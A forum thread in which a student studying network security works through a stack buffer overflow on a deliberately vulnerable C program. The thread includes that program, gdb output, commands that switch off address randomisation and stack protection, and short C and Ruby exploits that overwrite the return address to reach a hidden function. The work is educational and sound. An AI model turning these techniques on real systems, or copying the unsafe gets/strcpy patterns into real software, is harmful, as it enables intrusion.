Easy memory address question

Soldato
Joined
9 Dec 2004
Posts
5,700
Location
Dorset
Hi all,

I'm studying exploits at University and buffer overflows with unsafe functions. Am I correct in saying that from the memory address 0x0804857e to 0x08048599 is 27 bytes?
If I'm wrong, could someone please take the time to explain this to me. I don't do computer science and am failing to see the logic in this?

Thanks :(
 
FirebarUK said:
Thank you, thats how I came to it aswell.

No worries, what course you doing out of interest to be studying buffer overflows? :p
 
A Computer Network Management one which involves a network security module. This means we study things like IP traceback etc and software vulnerabilities such as buffer overflow etc.
 
Programming in general is pretty easy once it clicks. Its thinking up the algorithms/problem solving them that is the hard part.
 
FirebarUK said:
I'm studying exploits at University and buffer overflows with unsafe functions. Am I correct in saying that from the memory address 0x0804857e to 0x08048599 is 27 bytes?
It does slightly depend on what you mean; particularly in this context I am uncomfortable about saying it's 27 bytes. Why? Because if you write to every byte from 0x0804857e to 0x08048599 you will write 28 bytes of data. (More obviously, if you write to every byte from 0x0804857e to 0x0804857e, you will write 1 byte of data).

In practical terms, as someone who's done a fair amount of going right down to the bare addresses, I would always treat the range as inclusive, in which case 28 is actually the right answer. On the other hand, if you're talking pointer arithmetic, the gap between the two addresses is 27. Either answer is somewhat defensible.
 
Thanks for your input. Not being particularly knowledgeable to start with, I'd say this is certainly pointer arithmetic. As far as I understand I'm trying to comprimise some simple sample code to cause a buffer overflow and insert a pointer address so that it immediately runs another function in the code, i.e;

vulnerable code

Code:
void secretArea (void)
{
puts("Congratulation you have access!");
system("xterm");
}

int checkName(int argc, char **argv)
{
char Ubuffer [10];
if (argc>1)
  strcpy(Ubuffer,argv[1]);
if (!strcmp(Ubuffer,"Ted"))  
  {
  printf("Hello Ted");
  return 1;
  }
printf("Wrong Name\n");
return 0;
}

int main (int argc, char **argv)
{
char Pbuffer [20];
if (!checkName(argc,argv)) 
  return 0;
printf("\nPlease enter password: ");
gets(Pbuffer);
if (!strcmp(Pbuffer,"password"))
  {
  secretArea();
  }
return 0;
}

exploit code;

Code:
#include <stdio.h>
#include <stdlib.h>

int main (void)
{
char address[0];
int i = 0;
for (i=0;i<=sizeof(address);i+=4)
  {
  *(long*)&address[i]=0x0;
  }
puts(address);
}

I've used gdb to disassemble the main function in the vulnerable code so I can see what the address for the secretArea function is (this is what I want to run after overflow in checkName). The problem I'm having is getting the right size of address array in bytes, reflecting the start of the array to the return address, something which confuses me a little. Essentially so the correct memory value is in the register when executed.

I could be talking complete crap here :)

I think this stuff is covered in the famous phrack paper, "Stack Smashing for Fun and Profit" or something, but that also makes my head hurt :D
 
I don't pretend to know much about this; the paper you cite seems pretty detailed.

The one thing I do notice is that the addresses you have given are not multiples of 4. I think it is unlikely for the start address of any structure in a C program (e.g. Pbuffer[]) to not be a multiple of 4.

Similarly, the "real" size of any structure will usually be a multiple of 4. So the 10 bytes you've allocated for Ubuffer probably take up 12 bytes on the stack.
 
Last edited:
As davef says, you can't get the real amount of memory allocated for the size of the buffer from the C code its self (easily). The amount allocated also depends on the compiler/arch etc.... The best way to see is to disassemble your program in gdb and look for a sub instruction. This is where your space is allocated on the stack. There is a brute force method where you just keep overflowing the buffer until you overwrite EIP, but I guess you want to calculate it accuratly :p
Most of the time a NOP sled is used as well, due to the differences in compilers and such means that if your slightly off with your exploit it dosn't segfault and hits your nopsled.

There are easier papers on this than the phrack one, not to mention its pretty dated these days. One major thing to note since Aleph one wrote that paper is that virtual address randomization is now standard meaning you need to disable this before you do this kinda of trivial buffer overflow.

echo 0 > /proc/sys/kernel/randomize_va_space

You may also need to compile with -fno-stack-protector to disable stack smashing protection (> gcc 4.* has this standard I think).

Bit busy atm, but if I got time to look at this later ill write an exploit for you.
 
Last edited:
Code:
(gdb) disas checkName
Dump of assembler code for function checkName:
0x08048444 <checkName+0>:       push   %ebp
0x08048445 <checkName+1>:       mov    %esp,%ebp
0x08048447 <checkName+3>:       push   %edi
0x08048448 <checkName+4>:       push   %esi
0x08048449 <checkName+5>:       sub    $0x30,%esp 
0x0804844c <checkName+8>:       cmpl   $0x1,0x8(%ebp)
0x08048450 <checkName+12>:      jle    0x8048469 <checkName+37>

20 Bytes to overflow buffer.

26 to overwrite EIP with AAAA's.

26 - 4 = 22.

Therefore,

0x42424242 in ?? ()
(gdb) run `perl -e 'print "A"x22 . BBBB'`

To overwrite EIP Address with BBBBs.


0x08048549 <main+123>: call 0x8048424 <secretArea>


Now to write the exploit, ruby is quicker for me :-)

Code:
CMD_STRING = "./vuln"

eip_addr = [0x08048549].pack('L') # Should land somewhere in nopsled.
nopsled = "\x90" * 22 # 22 bytes of nops

# Initalise the payload
# [NOPSLED - 22 bytes] + [EIP - 4 bytes] = 26
payload = nopsled + eip_addr

system(CMD_STRING,payload)


alex@debian:~$ ruby exploit.rb
Wrong Name
Congratulation you have access!
sh: xterm: command not found

Wahooo! :P

Hope this helps.
 
Thanks, I can certainly see what your doing there. I have something similar;

28 bytes in total to overwrite the EIP with the memory address of the function you want to go to.. (is this the right way to think about it?)

Code:
#include <stdio.h>
#include <stdlib.h>

int main (void)
{
char address[28];
int i = 0;
for (i=0;i<=sizeof(address);i+=4)
  {
  *(long*)&address[i]=0x8048470;
  }
puts(address);
}

And that cracked it. So above the array allocation in the stack, this means I need 28-12 = 16 bytes, so most likely 4 x 4bytes . So what are the registers above the stack, and how can I see them in gdb? I presume in your example, esb is a register, but I dont see any eip when disassembling?

Also, im trying to overflow the checkName buffer of [10], that is infact [12] due to having to be a multiple of 4. Is that an architectural thing? or just simply because it uses hex.

Thanks for taking the time :)
 
You can see the register values by hitting i r, when on a breakpoint or when your program segfaults/coredumps.

EIP is the instruction address pointer, basically the next instruction to be executed.


FirebarUK said:
Also, im trying to overflow the checkName buffer of [10], that is infact [12] due to having to be a multiple of 4. Is that an architectural thing? or just simply because it uses hex.

As I said before stack frame sizes/addresses tend to vary lots between different compilers/architectures but what your basically trying to do is to change the EIP to execute the code you want it to do.

http://www.enderunix.org/docs/eng/bof-eng.txt

There is also the intel x86 instruction set available from here,
http://www.intel.com/design/intarch/manuals/243191.htm
 
Last edited:
Last edited:
Its become a lot clearer now and I can see quite clear what I'm trying to do. Thanks again for your help, I'm going to watch that video now :)
 
Back
Top Bottom